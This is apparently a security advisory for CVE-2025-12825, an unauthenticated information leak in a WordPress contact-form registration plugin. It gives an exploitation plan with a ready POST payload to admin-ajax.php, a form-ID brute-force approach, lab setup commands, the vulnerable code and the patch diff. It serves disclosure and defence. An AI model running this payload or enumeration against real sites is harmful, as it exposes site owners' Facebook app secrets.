User Registration Using Contact Form 7 <= 2.5 - Authenticated (Subscriber+) Information Exposure
Description
The User Registration Using Contact Form 7 plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_cf7_form_data' function in all versions up to, and including, 2.5. This makes it possible for unauthenticated attackers to retrieve form settings which includes Facebook app secrets.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.5What Changed in the Fix
Changes introduced in v2.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-12825 ## 1. Vulnerability Summary The **User Registration Using Contact Form 7** plugin (up to version 2.5) is vulnerable to information exposure via the `get_cf7_form_data` AJAX action. The function `fn_get_cf7_form_data` lacks any authorization checks (e.g.…
Show full research plan
Exploitation Research Plan - CVE-2025-12825
1. Vulnerability Summary
The User Registration Using Contact Form 7 plugin (up to version 2.5) is vulnerable to information exposure via the get_cf7_form_data AJAX action. The function fn_get_cf7_form_data lacks any authorization checks (e.g., current_user_can) or CSRF protection (nonces). Crucially, the plugin registers this action with both wp_ajax_ and wp_ajax_nopriv_, making it accessible to unauthenticated users. When called with a valid Contact Form 7 ID that matches the current plugin configuration, it returns sensitive settings including Facebook App IDs and App Secrets.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Action:
get_cf7_form_data - Vulnerable Parameter:
zurcf7_formid - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_) - Preconditions:
- The plugin must be configured to use a specific Contact Form 7 form for registration.
- Sensitive data (Facebook App Secret) must be saved in the plugin settings.
3. Code Flow
- Hook Registration: In
inc/class.zurcf7.php, the action is registered:add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); - Function Execution: When the AJAX request is received,
ZURCF7::fn_get_cf7_form_data()is executed. - Parameter Handling: It retrieves the target form ID:
$zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : ""; // ... if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){ - Logic Branch: If the provided
zurcf7_formidmatches the storedget_option('zurcf7_formid'), the function enters the branch that retrieves sensitive data:if( $zurcf7_formid == sanitize_text_field($_POST['zurcf7_formid']) ){ // ... $zurcf7_fb_signup_app_id = (get_option( 'zurcf7_fb_signup_app_id')) ? get_option( 'zurcf7_fb_signup_app_id') : ""; $zurcf7_fb_app_secret = (get_option( 'zurcf7_fb_app_secret')) ? get_option( 'zurcf7_fb_app_secret') : ""; - Information Leak: These values are packed into an array and returned via
echo json_encode($return_arr);.
4. Nonce Acquisition Strategy
No nonce is required.
Analysis of inc/class.zurcf7.php confirms that fn_get_cf7_form_data does not call check_ajax_referer() or wp_verify_nonce(). The frontend JavaScript in assets/js/admin.js also sends the request without a nonce parameter.
5. Exploitation Strategy
The attacker needs to provide the zurcf7_formid currently used by the plugin. Since this ID refers to a Contact Form 7 post, it is typically a sequential integer. An attacker can enumerate this ID.
Step-by-Step Plan:
- Target Identification: Identify the
admin-ajax.phpURL. - Enumerate Form ID:
Send a POST request toadmin-ajax.phpwith the action and a guessed ID. - Construct Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=get_cf7_form_data&zurcf7_formid=[ID] - Analyze Response: If the ID is correct, the JSON response will contain:
response: "success"is_exists: "yes"zurcf7_fb_app_secret: "SECRET_VALUE"
6. Test Data Setup
- Install Dependencies: Ensure Contact Form 7 is installed and active.
- Create CF7 Form: Create at least one Contact Form 7 form.
wp post create --post_type=wpcf7_contact_form --post_title="Registration Form" --post_status=publish
- Get CF7 ID: Note the ID of the created form.
- Configure Vulnerable Plugin: Use WP-CLI to set the plugin options to simulate a configured environment.
# Set the form ID wp option update zurcf7_formid [ID_FROM_STEP_3] # Set the sensitive Facebook data wp option update zurcf7_fb_signup_app_id "123456789" wp option update zurcf7_fb_app_secret "vulnerable_fb_secret_2025"
7. Expected Results
A successful exploit will return a JSON object.
Sample Response:
{
"response": "success",
"is_exists": "yes",
"zurcf7_fb_signup_app_id": "123456789",
"zurcf7_fb_app_secret": "vulnerable_fb_secret_2025",
"formtag": "..."
}
8. Verification Steps
- Check Options via CLI: Verify the secret actually exists in the database.
wp option get zurcf7_fb_app_secret - Compare HTTP Result: Ensure the value returned in the HTTP response matches the database value.
9. Alternative Approaches
If the zurcf7_formid is unknown:
- Source Code Inspection: Check if the site's frontend source contains any Contact Form 7 shortcodes (e.g.,
id="123"). - Brute Force: Since CF7 IDs are Post IDs, they usually range from 1 to 5000. Use a script to iterate through IDs until
response == "success" && is_exists == "yes"is returned. - Subscriber Access: Log in as a Subscriber and try the same endpoint (as per the "Subscriber+" part of the CVE description, although
noprivmakes it even more severe).
Summary
The User Registration Using Contact Form 7 plugin exposes sensitive configuration data, including Facebook App IDs and App Secrets, through an insecure AJAX endpoint. Because the 'get_cf7_form_data' action is registered for unauthenticated users (nopriv) and lacks any authorization or nonce verification, an attacker can retrieve plugin settings by providing a valid Contact Form 7 ID.
Vulnerable Code
// inc/class.zurcf7.php // Line 43-44: Hook registration for both authenticated and unauthenticated users add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); --- // inc/class.zurcf7.php // Line 181: Missing capability and nonce checks function fn_get_cf7_form_data(){ //Get current saved CF7 ID $zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : ""; $html .= '<option value="">Select field</option>'; if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){ // ... logic to verify form ID matches current config ... if( $zurcf7_formid == sanitize_text_field($_POST['zurcf7_formid']) ){ // ... (truncated) ... /*Start FB Field */ $zurcf7_fb_signup_app_id = (get_option( 'zurcf7_fb_signup_app_id')) ? get_option( 'zurcf7_fb_signup_app_id') : ""; $zurcf7_fb_app_secret = (get_option( 'zurcf7_fb_app_secret')) ? get_option( 'zurcf7_fb_app_secret') : ""; /*End FB Field */ $return_arr = array( "response" => "success", "is_exists" => "yes", // ... "zurcf7_fb_signup_app_id" => $zurcf7_fb_signup_app_id, "zurcf7_fb_app_secret" => $zurcf7_fb_app_secret, // ... ); echo json_encode($return_arr); die(); } } }
Security Fix
@@ -6,7 +6,7 @@ type: "POST", dataType: "json", url: ajaxurl, - data: { action: "get_cf7_form_data", zurcf7_formid: zurcf7_formid }, + data: { action: "get_cf7_form_data", zurcf7_formid: zurcf7_formid, nonce: cf7forms_data.ajax_nonce }, beforeSend: function() { $('.loader').show(); }, @@ -77,7 +79,7 @@ 'zurcf7_acf_field_mapping' => __( '<h3>ACF Plugin Required</h3><p>ACF Plugin is required for ACF Field Mapping</p>', 'user-registration-using-contact-form-7' ), 'zurcf7_fb_signup_app_id_tool' => __( '<h3>App Id</h3><p>Please enter app id.</p>', 'user-registration-using-contact-form-7' ), 'zurcf7_fb_app_secret_tool' => __( '<h3>App Secret</h3><p>Please enter app secret.</p>', 'user-registration-using-contact-form-7' ), - + 'ajax_nonce' => wp_create_nonce( 'zurcf7_get_cf7_form_data' ), ); @@ -41,7 +41,6 @@ #get Contact form data in admin add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); - add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data")); } @@ -178,10 +177,22 @@ * */ function fn_get_cf7_form_data(){ - //Get current saved CF7 ID + // Check user capabilities - only allow users with manage_options capability + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Unauthorized access</option>' ) ); + return; + } + + // Verify nonce for additional security + if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'zurcf7_get_cf7_form_data' ) ) { + wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Security check failed</option>' ) ); + return; + } + + //Get current saved CF7 ID $zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : ""; - $html .= '<option value="">Select field</option>'; + $html = '<option value="">Select field</option>';
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An attacker sends a POST request with the `action` parameter set to `get_cf7_form_data` and a `zurcf7_formid` parameter. Because the vulnerable function is registered via `wp_ajax_nopriv_`, the attacker does not need to be authenticated. By successfully guessing or finding the valid Contact Form 7 ID used in the plugin's registration settings, the attacker receives a JSON response containing the Facebook App ID and App Secret stored in the WordPress options table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.